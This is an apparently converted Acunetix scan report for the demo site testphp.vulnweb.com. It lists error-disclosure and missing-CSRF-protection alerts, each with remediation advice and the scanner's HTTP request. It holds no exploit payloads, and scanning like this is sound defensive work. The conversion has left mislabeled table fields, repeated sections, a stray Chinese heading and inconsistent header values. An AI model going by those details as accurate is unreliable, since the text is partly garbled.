<tr>
<td></td>
<td>Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>&lt;b&gt;Warning&lt;/b&gt;: mysql_fetch_array() expects parameter 1 to be resource</td>
</tr>
</tbody>
</table>

86
GET /AJAX/infotitle.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest;mycookie=3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>/Connections/DB_Connection.php</th>
<th>Error message on page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.</td>
</tr>
<tr>
<td></td>
<td>Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
</tbody>
</table>
| Alert variants | Pattern found:
| |
| Details | Fatal error |
GET /Connections/DB_Connection.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/pictures/path-disclosure-unix.html

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Error message on page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td></td>
<td>Application error or warning messages may expose sensitive information about an</td>
</tr>
<tr>
<td></td>
<td>application's internal workings to an attacker.</td>
</tr>
<tr>
<td></td>
<td>Acunetix found an error or warning message that may disclose sensitive information.</td>
</tr>
<tr>
<td></td>
<td>The message may also contain the location of the file that produced an unhandled</td>
</tr>
<tr>
<td></td>
<td>exception. Consult the 'Attack details' section for more information about the affected</td>
</tr>
<tr>
<td></td>
<td>page.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Verify that this page is disclosing error or warning messages and properly configure</td>
</tr>
<tr>
<td></td>
<td>the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td><code>&lt;b&gt;Warning&lt;/b&gt;: Sablotron error on line 1: XML parser error 3: no </code></td>
</tr>
</tbody>
</table>
GET /pictures/path-disclosure-unix.html HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Error message on page</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td>Medium</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td>Pattern found: <code>&lt;b&gt;Warning&lt;/b&gt;: mysql_connect(): Access denied for user 'wauser'@'lo</code></td>
</tr>
</tbody>
</table>

保卫连接器.php
### Web Server

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

### Description

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well-designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

### Alert variants

#### Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:
- searchFor [text]
- goButton [submit]

GET / HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/404.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description              | This alert requires manual confirmation  
Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.  
Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form. |
| Recommendations          | Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.  
The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.  
- The anti-CSRF token should be unique for each user session  
- The session should automatically expire after a suitable amount of time  
- The anti-CSRF token should be a cryptographically random value of significant length  
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm  
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)  
- The server should reject the requested action if the anti-CSRF token fails validation  
When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected. |
| Alert variants           | Form name: <empty>  
Form action: search.php?test=query  
Form method: POST  
Form inputs:  
- searchFor [text]  
- goButton [submit] |
GET /404.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/artists.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description       | This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:
- searchFor [text]
- goButton [submit]

GET /artists.php HTTP/1.1
Referer: http://testphp.vulnweb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Cookie: login=test%2Ftest
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7ab7bf1357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
Connection: Keep-alive
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description | This alert requires manual confirmation  
Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.  
Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form. |
| Recommendations | Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.  
The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.  
- The anti-CSRF token should be unique for each user session  
- The session should automatically expire after a suitable amount of time  
- The anti-CSRF token should be a cryptographically random value of significant length  
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm  
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)  
- The server should reject the requested action if the anti-CSRF token fails validation  
When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected. |
| Alert variants | Form name: <empty>  
Form action: search.php?test=query  
Form method: POST  
Form inputs:  
- searchFor [text]  
- goButton [submit] |
POST /cart.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 19
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

addcart=1&price=500

<table>
<thead>
<tr>
<th>/categories.php</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group:</td>
</tr>
<tr>
<td>Severity:</td>
</tr>
<tr>
<td>Description:</td>
</tr>
</tbody>
</table>

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the ‘Attack details’ section for more information about the affected HTML form.
Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Alert variants

Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:
- searchFor [text]
- goButton [submit]

GET /categories.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/comment.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description | This alert requires manual confirmation  
Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.  
Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form. |
| Recommendations | Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.  
The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.  
- The anti-CSRF token should be unique for each user session  
- The session should automatically expire after a suitable amount of time  
- The anti-CSRF token should be a cryptographically random value of significant length  
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm  
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)  
- The server should reject the requested action if the anti-CSRF token fails validation  
When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected. |
| Alert variants | Form name: fComment  
Form action: comment.php  
Form method: POST  
Form inputs:  
- name [text]  
- comment [textarea]  
- Submit [submit]  
- phpaction [hidden] |
GET /comment.php?aid=1 HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/disclaimer.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Alert variants

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:
- searchFor [text]
- goButton [submit]

GET /disclaimer.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/guestbook.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>
| Description | This alert requires manual confirmation  
  Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.  
  Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form. |
| Recommendations | Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.  
  The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.  
  - The anti-CSRF token should be unique for each user session  
  - The session should automatically expire after a suitable amount of time  
  - The anti-CSRF token should be a cryptographically random value of significant length  
  - The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm  
  - The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)  
  - The server should reject the requested action if the anti-CSRF token fails validation  
  When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected. |
| Alert variants | Form name: <empty>  
  Form action: search.php?test=query  
  Form method: POST  
  Form inputs:  
  - searchFor [text]  
  - goButton [submit] |
```
GET /guestbook.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test\2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

<table>
<thead>
<tr>
<th>/guestbook.php</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>Medium</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: faddentry</td>
</tr>
<tr>
<td>Form action: &lt;empty&gt;</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

Form inputs:

- name [hidden]
- text [textarea]
- submit [submit]

GET /guestbook.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
### /hpp/

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description**

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

**Recommendations**

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

**Alert variants**

**Details**

- Form name: <empty>
- Form action: params.php?p=valid&pp=12
- Form method: GET

Form inputs:

- aaaa [submit]
GET /hpp/?pp=12 HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>HTML form without CSRF protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
</tbody>
</table>

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: &lt;empty&gt;</td>
</tr>
<tr>
<td>Form action: search.php?test=query</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

Form inputs:

- searchFor [text]
- goButton [submit]

GET /index.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/listproducts.php
### Description

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

### Recommendations

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is known as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes:

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

### Alert variants

<table>
<thead>
<tr>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Form name: &lt;empty&gt;</td>
</tr>
<tr>
<td>Form action: search.php?test=query</td>
</tr>
<tr>
<td>Form method: POST</td>
</tr>
</tbody>
</table>

Form inputs:

- searchFor [text]
- goButton [submit]
GET /listproducts.php?cat=1 HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/login.php
<table>
<thead>
